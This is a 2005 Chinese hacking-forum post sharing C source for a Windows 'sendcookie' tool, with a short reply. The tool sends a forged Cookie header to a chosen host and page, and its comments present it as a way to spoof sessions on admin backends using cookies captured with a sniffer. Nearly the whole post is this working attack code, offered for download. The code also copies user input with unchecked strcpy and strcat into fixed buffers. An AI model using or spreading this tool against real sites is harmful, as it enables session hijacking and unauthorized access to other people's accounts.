发新话题
打印

[原创]cookie欺骗 sendcookie.cpp

[原创]cookie欺骗 sendcookie.cpp

文章作者:swords[E.S.T]
信息来源:邪恶八进制 中国


原代码:http://wmjie.51.net/swords/nettools/sendcookie.cpp
引用:
/**************************************************************
* File: sendcookie.cpp
* 描述:send cookie to remote host
*    伪造cookie进行后台的cookie欺骗
*    可以结合sniffer使用。。。
* 作者:SworDs
* 校正:云舒
* 致谢:恶猫
* 日期:2005-1-19
* mailto:swords@eviloctal.com
* url: http://wmjie.51.net/swords
***************************************************************/
////////////////////////////////////////////////////////////////////////////////

#include <stdio.h>
#include <winsock2.h>

#pragma comment(lib,"ws2_32.lib")

////////////////////////////////////////////////////////////////////////////////
//全局函数定义
////////////////////////////////////////////////////////////////////////////////

//检查并获取命令行参数
void CheckPra(int argc,char *argv[]);
//输出帮助函数
void Usage(char *);

////////////////////////////////////////////////////////////////////////////////
//定义全局变量
////////////////////////////////////////////////////////////////////////////////

char         ip[64] = { 0 };
int          port = 0;
char         url[128] = { 0 };//接收cookie的网址
char         cookie[1024] = { 0 };

////////////////////////////////////////////////////////////////////////////////
//主函数
////////////////////////////////////////////////////////////////////////////////

int main( int argc , char *argv[] )
{
   WSADATA     wsa;
   SOCKET        sock;
   sockaddr_in    sin;
   int         ret;
   char         sendBuffer[1024*4] = { 0 };
   char         recvbuf[1024*10] = { 0 };
   
    CheckPra( argc , argv );

    if( WSAStartup(0x0202,&wsa) != 0 )
    {
        printf( "WSAStartup failed with error:%d\n" , GetLastError() );
        return -1;
    }
   
    memset( &sin , 0 , sizeof(sin) );
   
    sin.sin_family=AF_INET;
    if( inet_addr(ip) != INADDR_NONE )
    {
        sin.sin_addr.s_addr = inet_addr(ip);
    }        
    else
    {
        struct hostent *phost = gethostbyname(ip);
        if( phost == NULL )
        {
            printf( "Resolve %s error!\n" , ip );
            return -1;
        }
        memcpy( &sin.sin_addr , phost->h_addr_list[0] , phost->h_length );
    }
    sin.sin_port = htons(port);
   
    sprintf( sendBuffer , "GET %s HTTP/1.1\n" , url );
    sprintf( sendBuffer + strlen(sendBuffer) , "Accept: */*\n" );
     sprintf( sendBuffer + strlen(sendBuffer) , "Content-Type: application/x-www-form-urlencoded\n" );
    sprintf( sendBuffer + strlen(sendBuffer) , "HOST: %s\n",ip);
    sprintf( sendBuffer + strlen(sendBuffer) , "Connection: Keep-Alive\n");
    sprintf( sendBuffer + strlen(sendBuffer) , "Cookie: %s\n\n" , cookie);
   
    sock = socket( AF_INET , SOCK_STREAM , 0 );
    if( sock == INVALID_SOCKET )
    {
        printf("Socket() failed with error:%d\n",GetLastError());
        return -1;
    }
   
    printf("State:Connecting...\n");
   
    ret = connect( sock , (struct sockaddr*)&sin , sizeof(sin) );
    if( ret == SOCKET_ERROR )
    {
        printf( "Connect() failed with error:%d\n",GetLastError() );
        return -1;
    }
    printf("State:Connected!\n");
    printf("State:Sending cookie...\n");
   
    ret = send( sock , sendBuffer , strlen(sendBuffer)+1 , 0 );
    if( ret > 0 )
    {
        printf("Send success!\n");
    }
     else
    {
        printf("Send error!\n");
        return -1;
    }      
   
    ret = recv( sock , recvbuf , sizeof(recvbuf) , 0 );
    if( strstr(recvbuf,"200") )
    {
        printf("sendcookie success!\n\n");
   }
   else
    {
       printf("sendcookie false!\n\n");
    }
   
     closesocket(sock);
     WSACleanup();
    return 1;
}

////////////////////////////////////////////////////////////////////////////////
//输出帮助函数
////////////////////////////////////////////////////////////////////////////////

void Usage(char *programName)
{
    printf( "-------------------------------------------------------------------\n" );
    printf( "Usage:%s ip port page cookie\n" , programName);
    printf( "Code by SworDs--http://wmjie.51.net/swords\n" );
    printf( "Ex:%s 10.10.0.49 80 /bbs/admin.php cookie\n" , programName );
    printf( "-------------------------------------------------------------------\n" );
}

////////////////////////////////////////////////////////////////////////////////
//检查命令行参数函数
////////////////////////////////////////////////////////////////////////////////

void CheckPra(int argc,char *argv[])
{
   int tmp;
   
    if( argc < 5 )
     {
        Usage(argv[0]);
        exit(-1);
    }
    strcpy( ip , argv[1] );
    port = atoi( argv[2] );
    strcpy( url , argv[3] );
    strcpy( cookie , argv[4] );

    if( argc > 5 )
    {
        for( tmp = 5 ; tmp < argc ; tmp++ )
        {
           strcat( cookie , argv[tmp] );
        }
    }   
}

附件

sendcookie.rar (25 KB)

2005-1-19 17:45, 下载次数: 66

QQ:838468959

TOP

呵呵,不错。考虑再扩充一下直接编辑cookie的功能,封装到个dll里。说不定WST项目还能用的到呢。。呵呵
俺是mika!别叫错了! 俺的QQ:794773 http://hi.baidu.com/stealthwalker/ my private area ------------------------------------------------------------ <a href=http://hi.baidu.com/stealthwalker target=_blank></a>

TOP

发新话题